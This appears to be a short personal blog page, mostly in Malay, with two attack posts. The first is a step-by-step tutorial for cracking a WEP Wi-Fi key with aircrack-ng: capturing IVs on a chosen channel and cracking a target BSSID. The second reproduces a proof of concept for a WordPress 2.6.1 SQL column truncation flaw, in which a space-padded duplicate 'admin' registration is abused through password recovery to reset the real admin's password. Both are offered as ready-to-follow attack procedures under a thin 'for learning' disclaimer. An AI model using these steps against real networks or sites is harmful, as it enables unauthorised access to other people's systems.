Cracking WEP key's

Salam,
Saja ja tulis supaya tak lupa (**DISCLAIMER : hanya untuk pembelajaran)

Install aircrack-ng

*debian base distro(ubuntu, mepis..bla bla bla..)
sudo apt-get install aircrack-ng

*RH base distro (CentOS, Fedora..blabla..)
yum install aircarack-ng


Pastu mulakan aircrack-ng dan bair ia search wlan network

sudo airodump-ng wlan0

kemudian pilih "channel" untuk dump IV's
(contoh disini kita gunakan channel 11... kalau detect channel ntv9 pon bole..ehehe)

sudo airodump-ng -c 11 -w dump wlan0

tunggu sampai ia collect 500K IV's

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap

NOTE: The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.

Tunggu.. walla..

Settle... muahh..hehe

WordPress SQL Column Truncation Vulnerability (PoC)

A vulnerability in WordPress's way of handling new user registration allows attackers to create a duplicate 'admin' account whose email address is set to a value different than the default one. This is then used with the password recovery mechanism to retrieve the password of the true 'admin' account.

Vulnerable Systems:
* WordPress version 2.6.1

Exploit:
1. Go to URL: server.com/wp-login.php?action=register
2. Register as:
login: admin x (the user admin[55 space chars]x)
email: your email

Now, we have duplicated 'admin' account in database

3. Go to URL: server.com/wp-login.php?action=lostpassword
4. Write your email into field and submit this form
5. Check your email and go to reset confirmation link
6. Admin's password changed, but new password will be send to correct admin email

Additional Information:
The information has been provided by irk4z.
The original article can be found at: http://irk4z.wordpress.com/